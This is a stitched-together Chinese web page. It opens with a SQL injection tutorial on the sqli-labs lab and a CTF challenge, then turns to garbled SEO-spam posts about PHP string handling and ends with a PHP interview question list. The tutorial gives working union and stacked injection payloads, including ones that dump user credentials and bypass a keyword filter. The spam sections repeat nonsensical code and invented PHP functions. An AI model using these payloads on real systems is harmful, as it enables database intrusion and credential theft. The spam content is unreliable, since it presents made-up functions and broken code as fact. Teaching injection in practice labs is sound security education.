sys:包含了一系列的存储过程、自定义函数以及视图来帮助我们快速的了解系统的元数据信息。(元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等)
performance_schema:用于收集数据库服务器性能参数。
information_schema:它提供了访问数据库元数据的方式。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表的数据类型与访问权限等。
这里看似很复杂,实际上你只需要知道这个 performance_schema 数据库就可以了。对于一个未知的数据库,我们首先需要知道它的数据库名,数据表名,知道表名之后还得知道字段名,这样我们才能使用类似这样的 sql 语句 select 字段名 from 数据库.表名;去泄露数据库的具体信息。我们 navicat 打开这个数据库观察一下有什么表。
看着很多,其实我们只需要关心三个表:schemata,tables,columns,它们分别能爆出数据库名,表名和字段名。我们先看看第一个表 schemata 的具体信息:
可以看到里面的schema_name 字段的值就是我们当前这个数据库系统中所有的数据库的名字,从左边也可以一一对应看到对应的数据库。然后看看第二个表 tables 的信息。因为有点多我们看主要的:
可以看到里面有一个 table_name 字段就是整个数据库系统的所有表名,然后前面的 table_schema 就是这个表对应的数据库名。这里也可以看到我们这个数据库能从中找到 tables 和 schemata 这两个表名,以及其它乱七八糟的在上一张图也都有显示。
<p mpa-none-contnet="t" style="outline: 0px;font-size: 15px;color: rgb(255, 255, 255);text-align: center;visibility: visible;">五<br style="outline: 0px;visibility: visible;" /><br mpa-from-tpl="t" style="outline: 0px;visibility: visible;" />
获得数据库信息的其它方式</p>
在我们有一个 mysql 连接的情况下,我们想查看所有的数据库很简单,一句 show databases;即可解决,但是通常情况下我们这样子输入并不能很好的回显,如果把数据库名作为一条记录输出出来那处理起来会好很多。我们想查看数据库还可以用这种方式:select schema_name from information_schema.schemata;我们对比一下两个指令的结果。
可以看到结果基本就是一样的。然后我们想查看比如说 world 数据库的表名,我们一般先 use world 再 show tables 或者一句话 show tables from world;直接输出表名,但是有 information_schema 这个数据库,我们就能通过这里把信息显示出来。select table_name from information_schema.tables where table_schema='world';
可以看到结果也是一模一样的。剩下的爆字段就不演示了,同理的。select column_name from information_schema.columns where table_name='city';以上的 payload 可以直接在注入的地方加进去,只需要改一下表名和数据库名即可。
<p mpa-none-contnet="t" style="outline: 0px;font-size: 15px;color: rgb(255, 255, 255);text-align: center;visibility: visible;">六<br style="outline: 0px;visibility: visible;" /><br mpa-from-tpl="t" style="outline: 0px;visibility: visible;" />
sqli-labs环境搭建</p>
主要学习的环境还是用的sqli-labs,我是直接在主机上搭建,因为修改代码起来十分方便,一改就能见到效果。但是这么做确保切断了对外界的网络连接,或者心大一点就算了,想着没人会对自己的主机发起进攻的。然后自己再搭建一个 web 服务,能访问就算成功了。
在使用之前在 sqli-labs\sql-connections\目录下的 db-creds.inc 中配置一下自己的用户名和密码,再点击 setup 把数据库先配置好,如果一切OK,那么进入第一关的效果应该是这样的:
<p mpa-none-contnet="t" style="outline: 0px;font-size: 15px;color: rgb(255, 255, 255);text-align: center;visibility: visible;">七<br style="outline: 0px;visibility: visible;" /><br mpa-from-tpl="t" style="outline: 0px;visibility: visible;" />
sql注入详解</p>
在对一个 ctf 打 sql 注入的时候,我们第一步就是要寻找注入点。怎么寻找注入点呢,因为后端源码我们都是不知道的,所以我们只能通过抓包的方式观察所有能提交的参数进行 sql 注入的测试。找到注入点之后我们还需要判断注入的类型。大体的注入分两类,一类是有回显的注入,另一类是没有回显的注入。一般情况下我们优先考虑有回显的注入,因为时间成本比较低,那么我们先来看看有回显的注入吧。
有回显的注入
什么叫有回显?查询到的数据库信息会直接显示出来,你能看到的就叫有回显,反之则是没有回显。有回显的注入有以下类型:
1、联合查询的注入:通过union关键字泄露数据库信息。

2、堆叠注入:通过重新执行一个 sql 语句的方式泄露数据库信息,或者直接增删改查数据库。
3、报错注入:通过一些特殊的函数报错把信息显示出来。
4、二次注入:咕咕咕。
联合查询的注入
利用要求:有回显假如你是 admin 登录之后,它页面可能会显示 hello,admin。那么这个 hello 后面就是一个回显的点,这里就可以用来泄露其它信息。这里需要怎么理解呢,假如它在登录的逻辑是这样写的:select username,passowrd from data.user where username='$input_username' and password='$input_password';
然后我们判断你的账号密码是否正确就主要看它是否能查找到记录,如果找到,那么我选取这条记录的第一个记录的 username 字段,然后输出这个,就达到了它成功登录了什么账号,我输出那个账号的目的了。至于上面为什么说是第一条记录呢,这里你需要这么看:select 的返回结果可能有很多,而不管它返回了一条还是多条它都是一个数据集,是个二维的表。因此选择第一条记录是开发人员默认会加上的,此时我只需使得前面的语句查询失败(返回空数据集)并选取其它内容用 union 合并这个数据集,并把这里的其它内容替换成我想知道的内容,比如它的数据库名,表名,然后它这里就会原样输出这些信息了,我们就知道了。这里需要知道 union 是合并两个数据集的,因此两个数据集的宽度(字段数)必须一样,数据类型可以不一样,返回 php 处理之后都会变成字符串类型其实。这里我们拿刚刚搭建的环境的第一关来做测试:
这里我们不需要寻找测试点了,它这里已经贴心地提醒我们用 get 传一个 id 参数进去了,因此我们先试 1。
可以看到我输入一个 1 它直接贴心的告诉了我们账号和密码是什么,这里显示的账号和密码就是回显的点。我们再测试这个参数是否能注入,最简单最直接的方法就是打个单引号或者双引号进去。
可以发现数据库报错,那就说明这个参数是可以注入的。因此我们用刚刚提到的方法,先另前一个语句查询失败(空数据集),然后再 union 上一个数据集,这个数据集是我们任何我们想泄露的信息,首先我们假装对数据库一无所知,我们第一步就是要知道这里有多少数据库,分别什么名字。根据报错信息可以略微猜测一下它的写法select username,password from xxx.yyy where limit 0,1我们先用引号闭合前面的参数,然后后面加上一个 and 1=0让前面的数据集必为空,然后再 union select 1,2--+,这里需要测试参数的个数,因为你不知道前面有几个字段,不过这里可以姑且先猜个 2,因为目前看来就找了账号和密码嘛,最后用--+去注释后面的单引号。结果发现数据库报了这个错误:The used SELECT statements have a different number of columns,这个也不难看出来是因为 union 前后的数据集含有不同的列数,也就是字段数不一样,所以这里不是两个,那我们换成 3 个参数再看看,如果不行就接着换,知道不报这个错误为止。
这里可以看到结果出来了,那么前面是有三列的,并且账号在第二列,密码在第三列,第一列大概率是这个 id 了。那么我们就朝着这几个回显的地方去改参数,比如我想知道数据库名,就用前面的方法。但是这里需要知道一点,那就是回显的地方这里只能存在一条记录,如果存在多条记录将报错。也就是说我可以把 2 替换成 select xxx from zzzx.yyy 但是必须保证结果集只能含有一条记录一个字段,否则会报错。
一个字段没有问题,但是一条记录的话,你会想到 limit,可以,但是太慢了,如果数据记录很多一条一条打要累死人,这里我们用到之前讲过的聚合函数 group_concat,聚合函数会把所有记录整合成一条记录,并且我们还能一次输出多条记录的信息,那简直一举多得了。我们开始报数据库名吧select schema_name from information_schema.schemata
可以看到我们爆出了当前数据库名和所有数据库名,这里需要注意,我们在替换为语句的时候,语句一定要加上括号,不然它的 sql 会分析失败。然后我们爆一下 security 数据库的信息,先爆表名,其实只需要替换一下就可以了:select group_concat(table_name) from information_schema.tables where table_schema='security'
我们主要收集一下用户信息吧,所以看看 users 数据表的内容,我们先获取字段名,一样一样地往上套就完事了:select group_concat(column_name) from information_schema.columns where table_name='users'
然后我们这里我们就看到了所有的字段名,我们这里点到为止,把所有用户名和密码爆出来就结束吧。select group_concat(username) from security.users和select group_concat(password) from security.users
好,到这里我们就把数据库的信息成功获取到了。
总结
我们可以看到联合查询注入十分方便,几步到位可以把数据库全部泄露出来,但是利用条件一般比较苛刻,需要有回显点才能实现。
堆叠注入
堆叠注入的原理就是使用引号隔开前一个查询语句,再自己书写另外的 sql 语句以此达到任意执行 sql 语句的目的。由于结果很难回显,我们一般这个用的不多,因为我们主要还是获取信息为主,而不是要去修改它的数据库。这个演示我们用 buuctf 里面的一道题吧,是来自2019强网杯的一道题目。
先不管它怎么说,有提交窗口先正常提交看看它原本的业务逻辑。
看这个输出格式,应该也是从数据库里按照一个应该是 id 字段查询,查询结果为两个字段,然后用 var_dump 输出第一条记录的信息,然后按照国际惯例加个分号看它是否报错。
报错了说明有注入点。我们当然还是先试试联合查询注入,用1' union select 1,2--+,然后我们看到它回显了。
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
它过滤了很多关键字导致我们没办法直接使用联合查询注入,并且正则后面的/i 表示大小写全匹配,那看来它是不想让你用联合查询注入,我们不妨先试试堆叠注入。我们可以先去 mysql 连接里面自己试试堆叠注入,比如我先实现一个逻辑,这个逻辑仅仅是查询每个数据库的表,那么数据库参数可控,我们就是这么写 sql 语句的:select table_name from information_schema.tables where table_schema='$input_database';。
可以看到随便输入一个数据库可以实现功能,那么我们让$input_database=1';show databases;--,经过拼接之后形成了:select table_name from information_schema.tables where table_schema='1';show databases;--';。可以看到我们在参数中输入了其它的 sql 语句。那我们看看结果如何呢?不出意外地执行了我们输入的 show databases 指令。
所以你也就清楚了堆叠注入是怎么一回事,我们试试看,一般题目里面堆叠注入都没有很好的回显,但是这题它有,至于为什么能有我们等会可以分析一下它题目的源码。
再通过 show tables 我们可以发现有两张表 14514 和 words。然后我们下一步可以用 show columns from table_name 的方式去显示表中所有的字段名。先看看 words 表,发现有 id 和 data 字段,这里大胆点猜测,我们应该是根据 id 去查询 data。它的 sql 语句大概是 select data from supersqli.words where。这里一个烫芝士注意一下啊,就是当数据库名或表名或列名可能引起歧义的时候,需要使用反引号将其包裹。比如你 select 1,2,3 我并不知道你想找的是 1,2,3 三个数值还是这 1,2,3 是列名。那么为了消除这个歧义我们在这个时候使用反引号。
select `1`,`2`,`3`
上述写法就是表示 1,2,3 代表列名,反引号在键盘上数字 1 的左边。这里因为是全数字,所以我们用反引号才能显示出它所有的列,我们可以看到只有一个 flag 列。那 flag 应该是在里面,我们需要查询出它,这里就可以用到堆叠注入的另一种姿势:预编译。我们也先来看看预编译的一般用法:
set @sql='show databases';prepare ext from @sql;execute ext;
可以发现它成功执行了 show databases,你可能会觉得一举两得了,但是这对于我们绕过 WAF 还是很有帮助的,它不让出现 select 这个单词的任意大小写形式,我们就用前面的字符串拼接函数 concat 就可以不出现 select 单词但是能执行 select 语句。我们还是在这个 cmd 里面去运行。

可以看到,我们利用 concat 函数和预编译的方式在全语句没有出现过 select 的情况下使用了 select 语句才能干的事。因为在 php 里面,执行语句的时候才会产生一个进程去执行 sql 语句,语句结束进程也就结束,如果我先 set @sql='xxx'那么再次查询不会保存这个变量的结果,这里就需要把多条语句整合成一条,这也是堆叠注入特有的一个优势吧。我们的payload如下:
1';set @sql=concat('se','lect flag from `1919810931114514`;');prepare ext from @sql;execute ext;
我们打进去的时候发现WAF还有一层检测。
strstr($inject, "set") && strstr($inject, "prepare")
这个很好绕过,因为这个函数它判断大小写的,我们对这两个关键字随便一个字符大写即可绕过,我们最后的payload就是:
1';Set @sql=concat('se','lect flag from `1919810931114514`;');Prepare ext from @sql;execute ext;
成功获得 flag。堆叠注入还有一个很厉害的姿势就是修改数据库,但是请注意不要删库,因为这样的话你可能就拿不到 flag。如果拿完 flag 再把 flag 删了,如果环境你专用你随便玩,公用的话就容易被别人喷了,万一环境不能重置,那你不是直接没了。第二种方式是把装 flag 的表改成本来的逻辑查询的表,也就是 words 表。我们把那个表的名字改成 words,然后它可能是根据 id 查询的,我们就把 flag 列改成 id 也许它是根据 words 查询的,我们到时候改一下就好了。先写出我们这几步的 sql。
rename table `words` to `111`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);
如果成功的话我们只需要一个万能密码即可查出所有原 flag 表的所有记录。我们的payload就是
1';rename table `words` to `111`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);
执行之后我们使用 1' or 1=1--+得到 flag。
堆叠注入为什么可以实现,下面就到了我们的源码环节了,没有官方的源码,只是从网上寻找到了差不多类似的,复现出来也基本一致。
<p> easy_sql 取材于某次真实环境渗透,只说一句话:开发和安全缺一不可 姿势:
php截取字符串网站内容不方便?分享一款最方便的工具
网站优化 • 优采云 发表了文章 • 0 个评论 • 83 次浏览 • 2022-08-28 18:01
php截取字符串网站内容不方便?没关系,下面给大家分享一款最方便的php取字符串的工具,不仅快捷、方便、还能智能识别文本,
首先,理解语法的方法之一是类似对于‘’的理解,也就是说,同一个汉字在不同编程语言中是同一个(音、义、构造、搭配等意义)。接下来,是字符编码。以这两个字母分开来说,是以utf-8编码,例如,以这个字母a开头是b,b开头是a,符合上面一句话;而如果是jq之类的乱码编码,那么会变成a和a,则无法组成这个字母了。
这个最好有个前提条件。大家都知道我们的php有‘’utf-8’',例如:functionsearchwords(f){varjsrelsk=f=>f(searchwords)returnjsrelsk(jsrelsk+'/'+jsrelsk.getvalue())}if(jsrelsk===''){return'a'}else{return'a'}//a代表字符类型或将‘’替换为空格else{varrst=json.stringify(jsrelsk+'/'+jsrelsk.getvalue(),ie-windows)if(rst.stringify(jsrelsk+'/'+jsrelsk.getvalue())!==''){return'b'}}if(rst.stringify(jsrelsk+'/'+jsrelsk.getvalue())!=='utf-8'){return'c'}else{return'd'}具体的css语法参考w3school我个人喜欢复制一个js语法再使用相同的语法来继续如下代码functiontest(err){varjsrelsk=f=>jsrelsk+'/'+jsrelsk.getvalue()returnjsrelsk(jsrelsk+'/'+jsrelsk.getvalue())}letb={a:{b:{array:{index:'0',charsequence:'[a-za-z]'if(b.indexof('a')===。
<p>0){return'1'}else{b.indexof('a')===1return'2'}letd={a:{b:{array:{index:'0',charsequence:'[a-za-z]'for(vari=0;i 查看全部
php截取字符串网站内容不方便?分享一款最方便的工具
php截取字符串网站内容不方便?没关系,下面给大家分享一款最方便的php取字符串的工具,不仅快捷、方便、还能智能识别文本,
首先,理解语法的方法之一是类似对于‘’的理解,也就是说,同一个汉字在不同编程语言中是同一个(音、义、构造、搭配等意义)。接下来,是字符编码。以这两个字母分开来说,是以utf-8编码,例如,以这个字母a开头是b,b开头是a,符合上面一句话;而如果是jq之类的乱码编码,那么会变成a和a,则无法组成这个字母了。

这个最好有个前提条件。大家都知道我们的php有‘’utf-8’',例如:functionsearchwords(f){varjsrelsk=f=>f(searchwords)returnjsrelsk(jsrelsk+'/'+jsrelsk.getvalue())}if(jsrelsk===''){return'a'}else{return'a'}//a代表字符类型或将‘’替换为空格else{varrst=json.stringify(jsrelsk+'/'+jsrelsk.getvalue(),ie-windows)if(rst.stringify(jsrelsk+'/'+jsrelsk.getvalue())!==''){return'b'}}if(rst.stringify(jsrelsk+'/'+jsrelsk.getvalue())!=='utf-8'){return'c'}else{return'd'}具体的css语法参考w3school我个人喜欢复制一个js语法再使用相同的语法来继续如下代码functiontest(err){varjsrelsk=f=>jsrelsk+'/'+jsrelsk.getvalue()returnjsrelsk(jsrelsk+'/'+jsrelsk.getvalue())}letb={a:{b:{array:{index:'0',charsequence:'[a-za-z]'if(b.indexof('a')===。
<p>0){return'1'}else{b.indexof('a')===1return'2'}letd={a:{b:{array:{index:'0',charsequence:'[a-za-z]'for(vari=0;i
php截取字符串网站内容不方便,不过现在很多网站也很简单(图)
网站优化 • 优采云 发表了文章 • 0 个评论 • 99 次浏览 • 2022-08-10 08:04
php截取字符串网站内容不方便,不过现在很多网站也很简单,你看看这个,
;responsetime=2014-04-0711:50:22&appid=54045×tamp=&_t_id=54045&_appid=54045&apptype=image&ios=9.3.3&otn=copyright@administrator
谢邀。我这里先占个坑吧。我下周围还要做一个发布会,答完一些大方向的以后再想办法填这个坑。php我不熟,我先抛砖引玉了。一般来说php是不支持字符串截取的,但是可以通过sql_safe加密来实现字符串截取。(不过这个你应该知道是怎么回事吧?)app的话,一般是一个loader来实现。很多文章里面都有教怎么用,我这里就不抄文章里面的例子了。
其实就是替换文本。要是能解密就太nb了,随便搞个java脚本都可以截获php中传递给他的所有信息。他可以封装成json转发到任何一个服务器接受。
谢邀,要是对php比较熟悉,学会了编码就可以试试,调用access_login_function()函数将php页面展示给app端,然后用access_mapper将php中的msg用json()格式化。
php自带一个功能,需要能接受gzip的字符,你可以rewrite,很容易实现,调用...即可
php有内置函数get_file_from_file(url,str)这是一个典型的json(网络数据包)封装,跟java中的封装extend一样,这样就可以把字符串封装成json了你懂我说的是啥么? 查看全部
php截取字符串网站内容不方便,不过现在很多网站也很简单(图)
php截取字符串网站内容不方便,不过现在很多网站也很简单,你看看这个,
;responsetime=2014-04-0711:50:22&appid=54045×tamp=&_t_id=54045&_appid=54045&apptype=image&ios=9.3.3&otn=copyright@administrator

谢邀。我这里先占个坑吧。我下周围还要做一个发布会,答完一些大方向的以后再想办法填这个坑。php我不熟,我先抛砖引玉了。一般来说php是不支持字符串截取的,但是可以通过sql_safe加密来实现字符串截取。(不过这个你应该知道是怎么回事吧?)app的话,一般是一个loader来实现。很多文章里面都有教怎么用,我这里就不抄文章里面的例子了。
其实就是替换文本。要是能解密就太nb了,随便搞个java脚本都可以截获php中传递给他的所有信息。他可以封装成json转发到任何一个服务器接受。

谢邀,要是对php比较熟悉,学会了编码就可以试试,调用access_login_function()函数将php页面展示给app端,然后用access_mapper将php中的msg用json()格式化。
php自带一个功能,需要能接受gzip的字符,你可以rewrite,很容易实现,调用...即可
php有内置函数get_file_from_file(url,str)这是一个典型的json(网络数据包)封装,跟java中的封装extend一样,这样就可以把字符串封装成json了你懂我说的是啥么?
php通过charset_encoding识别mozilla或safari浏览器的javascript脚本见
网站优化 • 优采云 发表了文章 • 0 个评论 • 109 次浏览 • 2022-07-18 12:02
php截取字符串网站内容时用script_locale调用mozilla,你的问题就是这样处理的。
js能识别javascript就像正常的其他语言一样是script;其他不能识别的就是javascript,比如c语言能识别java的main,c++则不能识别。
php通过charset_encoding识别mozilla或safari浏览器的javascript脚本
见下图:用于javascript开发和调试的浏览器-extensions可以看到,不同的语言采用的编码不同,而mozilla的extensions在javascript调试时使用字符编码,像:love是采用utf-8编码,bitmap.jpg是采用gbk编码,batcode.vb和batcode.pl是采用utf-16编码。
使用prefix()方法。 查看全部
php通过charset_encoding识别mozilla或safari浏览器的javascript脚本见
php截取字符串网站内容时用script_locale调用mozilla,你的问题就是这样处理的。

js能识别javascript就像正常的其他语言一样是script;其他不能识别的就是javascript,比如c语言能识别java的main,c++则不能识别。

php通过charset_encoding识别mozilla或safari浏览器的javascript脚本
见下图:用于javascript开发和调试的浏览器-extensions可以看到,不同的语言采用的编码不同,而mozilla的extensions在javascript调试时使用字符编码,像:love是采用utf-8编码,bitmap.jpg是采用gbk编码,batcode.vb和batcode.pl是采用utf-16编码。
使用prefix()方法。
php截取字符串网站内容 PHP面试100题汇总【21-40题】
网站优化 • 优采云 发表了文章 • 0 个评论 • 91 次浏览 • 2022-07-15 03:01
图书推荐
正文内容
21.在PHP中error_reporting这个函数有什么作用? (1分)
答:设置错误级别与错误信息回报
22.JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
答:弹出对话框: alert(),prompt(),confirm()
获得输入焦点 focus()
23.foo()和@foo()之间有什么区别?(1分)
答:@foo()控制错误输出
24、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
答:mysql_fetch_row是从结果集取出1行数组,作为枚举
mysql_fetch_array是从结果集取出一行数组作为关联数组,或数字数组,两者兼得
25、GD库是做什么用的? (1分)
答:gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。
在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表。
26.面向对象编程
有两个重要的概念:类和对象
类是具备某项功能的抽象模型,实际应用中,还需要对类进行实例化后使用。这样就引入了对象的概念。
对象是类进行实例化后的一个产物,是一个实体。
封装 :把客观的事物封装成一个抽象的类。
继承:子类继承父类,可以使用父类的属性和方法。可以实现接口,同时实现接口中的所有方法
多态:覆盖和重载 子类可以覆盖父类中的方法;一个类中可以同时拥有同一个函数名的方法,但是方法的参数不同,实现的结果也不同。
27.php框架
熟悉YII ,Thinkphp还有laravel ,symfony2,cakephp
28.mysql存储引擎
ISAM: 查询速度快、增删改慢,支持全文索引、不支持外键、不支持事务
MyISAM: ISAM升级版
Memory: 数据驻留在内存、速度快、数据管理不稳定、断电后数据全部丢失
InnoDB: 速度较慢、支持外键、支持事务、不支持全文索引
使用的存储引擎
MyISAM:内容管理系统(新闻、官网、电商、软件下载、房屋、招聘...) 可读不可改 大部分是浏览信息
InnoDB:技术型网站(bbs、blog、webo、oa...)
29.数据库操作流程
$link = mysql_connect("localhost","root","root");<br />mysql_select_db("test",$link);<br />$sql ="select * from table";<br />$result = mysql_query($sql);<br />while($row =mysql_fetch_****($result) ){<br />$arr[]=$row;<br />}<br />$row = mysql_fetch_array($result) 意思:$row['name'] 和$row[1] 都可以取到值<br />$row = mysql_fetch_row($result)) 意思:$row[1] 只有用索引取值,偏移量从0开始。<br />$row = mysql_fetch_assoc($result)) 意思: $row['name'] 字段名作为索引取值 抽取一条记录转为 关联数组,失败返回false<br />
30.php 加密函数
crypt($str[,$slat]) 可以完成单向加密功能
md5()
sha1() 返回一个40位的十六进制数,
加密扩展库
Mcrypt() 和Mash
31、字符串“to upper case” 分别用php,shell ,js实现将字符串中的字符全部转换成大写并输出。(5分)
Php实现: echo strtoupper(‘to upper case’)
Shell实现:echo "to upper case" | tr 'a-z' 'A-Z'
Js实现:
<br />var stmp1 = " to upper case ";<br />alert(stmp1.toLocaleUpperCase());//转换成大写<br />alert(stmp1.toUpperCase())//转换成大写<br /><br />
32.防止SQL注入
1)一般使用 addslashes 函数
addslashes 函数在制定的预定义字符前添加反斜杠
对字段和密码MD5加密处理
预处理过滤处理 查看全部
php截取字符串网站内容 PHP面试100题汇总【21-40题】
图书推荐
正文内容
21.在PHP中error_reporting这个函数有什么作用? (1分)
答:设置错误级别与错误信息回报
22.JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
答:弹出对话框: alert(),prompt(),confirm()
获得输入焦点 focus()
23.foo()和@foo()之间有什么区别?(1分)
答:@foo()控制错误输出
24、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
答:mysql_fetch_row是从结果集取出1行数组,作为枚举
mysql_fetch_array是从结果集取出一行数组作为关联数组,或数字数组,两者兼得
25、GD库是做什么用的? (1分)
答:gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。
在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表。
26.面向对象编程

有两个重要的概念:类和对象
类是具备某项功能的抽象模型,实际应用中,还需要对类进行实例化后使用。这样就引入了对象的概念。
对象是类进行实例化后的一个产物,是一个实体。
封装 :把客观的事物封装成一个抽象的类。
继承:子类继承父类,可以使用父类的属性和方法。可以实现接口,同时实现接口中的所有方法
多态:覆盖和重载 子类可以覆盖父类中的方法;一个类中可以同时拥有同一个函数名的方法,但是方法的参数不同,实现的结果也不同。
27.php框架
熟悉YII ,Thinkphp还有laravel ,symfony2,cakephp
28.mysql存储引擎
ISAM: 查询速度快、增删改慢,支持全文索引、不支持外键、不支持事务
MyISAM: ISAM升级版
Memory: 数据驻留在内存、速度快、数据管理不稳定、断电后数据全部丢失
InnoDB: 速度较慢、支持外键、支持事务、不支持全文索引
使用的存储引擎
MyISAM:内容管理系统(新闻、官网、电商、软件下载、房屋、招聘...) 可读不可改 大部分是浏览信息
InnoDB:技术型网站(bbs、blog、webo、oa...)
29.数据库操作流程

$link = mysql_connect("localhost","root","root");<br />mysql_select_db("test",$link);<br />$sql ="select * from table";<br />$result = mysql_query($sql);<br />while($row =mysql_fetch_****($result) ){<br />$arr[]=$row;<br />}<br />$row = mysql_fetch_array($result) 意思:$row['name'] 和$row[1] 都可以取到值<br />$row = mysql_fetch_row($result)) 意思:$row[1] 只有用索引取值,偏移量从0开始。<br />$row = mysql_fetch_assoc($result)) 意思: $row['name'] 字段名作为索引取值 抽取一条记录转为 关联数组,失败返回false<br />
30.php 加密函数
crypt($str[,$slat]) 可以完成单向加密功能
md5()
sha1() 返回一个40位的十六进制数,
加密扩展库
Mcrypt() 和Mash
31、字符串“to upper case” 分别用php,shell ,js实现将字符串中的字符全部转换成大写并输出。(5分)
Php实现: echo strtoupper(‘to upper case’)
Shell实现:echo "to upper case" | tr 'a-z' 'A-Z'
Js实现:
<br />var stmp1 = " to upper case ";<br />alert(stmp1.toLocaleUpperCase());//转换成大写<br />alert(stmp1.toUpperCase())//转换成大写<br /><br />
32.防止SQL注入
1)一般使用 addslashes 函数
addslashes 函数在制定的预定义字符前添加反斜杠
对字段和密码MD5加密处理
预处理过滤处理
php截取字符串网站内容像pdf一样截取二进制的简单
网站优化 • 优采云 发表了文章 • 0 个评论 • 83 次浏览 • 2022-07-08 21:10
php截取字符串网站内容像pdf一样截取字符串,这是php里最不好做的一点。
读取二进制的简单。这是php代码。
keywordsmerge用在中文的话,会有乱码?哪怕已经没有乱码了,也还是会造成很多程序员的困扰吧,如果全中文的话,岂不是比ascii字符表的无限大还要恐怖?看见个中文就写错。怎么玩呢?所以keywordsmerge尽量不要用在中文上。我尝试过用c半角反斜杠,但是php里面,半角反斜杠和全角反斜杠没啥区别,而半角反斜杠就是一个特殊符号。
有这么一个例子,"根"的全角反斜杠用在国家名上,但是php对于这样的符号还是有问题,php对于半角的"根"符号表示upcode="412"(当时php官方做出的解释)。明白这个,可以搭配preg_match或者preg_replace来做一些处理,例如全角反斜杠加led灯,半角反斜杠加灯泡、电机。至于"根"这个东西除了能接一点点定位,有什么特殊用法,有多特殊,这就看搭配的经验和脑洞了。
更麻烦的是大家加工成ascii或utf-8都不一样,所以对于很多crash问题的解决或者文本化以后的用法,keywordsmerge在这里实在是解决不了了。 查看全部
php截取字符串网站内容像pdf一样截取二进制的简单
php截取字符串网站内容像pdf一样截取字符串,这是php里最不好做的一点。

读取二进制的简单。这是php代码。
keywordsmerge用在中文的话,会有乱码?哪怕已经没有乱码了,也还是会造成很多程序员的困扰吧,如果全中文的话,岂不是比ascii字符表的无限大还要恐怖?看见个中文就写错。怎么玩呢?所以keywordsmerge尽量不要用在中文上。我尝试过用c半角反斜杠,但是php里面,半角反斜杠和全角反斜杠没啥区别,而半角反斜杠就是一个特殊符号。

有这么一个例子,"根"的全角反斜杠用在国家名上,但是php对于这样的符号还是有问题,php对于半角的"根"符号表示upcode="412"(当时php官方做出的解释)。明白这个,可以搭配preg_match或者preg_replace来做一些处理,例如全角反斜杠加led灯,半角反斜杠加灯泡、电机。至于"根"这个东西除了能接一点点定位,有什么特殊用法,有多特殊,这就看搭配的经验和脑洞了。
更麻烦的是大家加工成ascii或utf-8都不一样,所以对于很多crash问题的解决或者文本化以后的用法,keywordsmerge在这里实在是解决不了了。
php截取字符串网站内容无法通过php直接截取(代码量太大)
网站优化 • 优采云 发表了文章 • 0 个评论 • 90 次浏览 • 2022-07-04 11:00
php截取字符串网站内容无法通过php直接截取(代码量太大),而是需要用到php插件\sqlalchemy\sqlalchemy\extensions\urlconnection\rewrite\oncompletion等文件,才能实现连接字符串到数据库中,一个extension可以实现多个sql语句,只需要指定extension名称即可。
php文件构造数据库连接实际上是根据标识字符串来获取的,例如:hello::="java";java的标识字符串,而我们需要对应的sql语句即可。实际上一个mysql的脚本在进行执行时,会通过程序运行时脚本解析(explain)自动添加到php代码中,而根据传递的参数自动添加一个数据库连接并成功连接之后会成功执行sql语句,这样就实现了php文件内建sql语句。
php文件中添加sql连接通过oncompletion这个函数可以完成,对应的oncompletion函数实现:explain(sql);这个函数可以实现:sql(:string)参数传递获取方式sql,获取的结果如下图所示:这里创建了一个新的数据库连接执行sql,脚本截取字符串:string::="java";explain(sql);这个函数需要参数oncompletion,可以通过下面这样的形式:explain(function(sql){some_function(some_function);//somefunction,这个需要根据oncompletion把参数传入;});在看看重定向逻辑的实现:explain(sql);,在string::这个参数传递时将会执行这一段代码,而在回车可以实现结束行代码。
参考相关的例子:allowprerequisitesmodules#allowprerequisites:加上#以后就是单元格内指定的内容是否支持object,同时也可以在这个参数里放一个参数:includelib/dll/vendor/../vendor.lib:这个是该库的dll以及mediatek.lib的include目录,存放在该目录就表示是lib库的原始源代码,可以无需预留可以在dll中使用。 查看全部
php截取字符串网站内容无法通过php直接截取(代码量太大)
php截取字符串网站内容无法通过php直接截取(代码量太大),而是需要用到php插件\sqlalchemy\sqlalchemy\extensions\urlconnection\rewrite\oncompletion等文件,才能实现连接字符串到数据库中,一个extension可以实现多个sql语句,只需要指定extension名称即可。

php文件构造数据库连接实际上是根据标识字符串来获取的,例如:hello::="java";java的标识字符串,而我们需要对应的sql语句即可。实际上一个mysql的脚本在进行执行时,会通过程序运行时脚本解析(explain)自动添加到php代码中,而根据传递的参数自动添加一个数据库连接并成功连接之后会成功执行sql语句,这样就实现了php文件内建sql语句。

php文件中添加sql连接通过oncompletion这个函数可以完成,对应的oncompletion函数实现:explain(sql);这个函数可以实现:sql(:string)参数传递获取方式sql,获取的结果如下图所示:这里创建了一个新的数据库连接执行sql,脚本截取字符串:string::="java";explain(sql);这个函数需要参数oncompletion,可以通过下面这样的形式:explain(function(sql){some_function(some_function);//somefunction,这个需要根据oncompletion把参数传入;});在看看重定向逻辑的实现:explain(sql);,在string::这个参数传递时将会执行这一段代码,而在回车可以实现结束行代码。
参考相关的例子:allowprerequisitesmodules#allowprerequisites:加上#以后就是单元格内指定的内容是否支持object,同时也可以在这个参数里放一个参数:includelib/dll/vendor/../vendor.lib:这个是该库的dll以及mediatek.lib的include目录,存放在该目录就表示是lib库的原始源代码,可以无需预留可以在dll中使用。
php截取字符串网站内容 PHP面试100题汇总【21-40题】
网站优化 • 优采云 发表了文章 • 0 个评论 • 80 次浏览 • 2022-07-03 05:30
图书推荐
正文内容
21.在PHP中error_reporting这个函数有什么作用? (1分)
答:设置错误级别与错误信息回报
22.JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
答:弹出对话框: alert(),prompt(),confirm()
获得输入焦点 focus()
23.foo()和@foo()之间有什么区别?(1分)
答:@foo()控制错误输出
24、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
答:mysql_fetch_row是从结果集取出1行数组,作为枚举
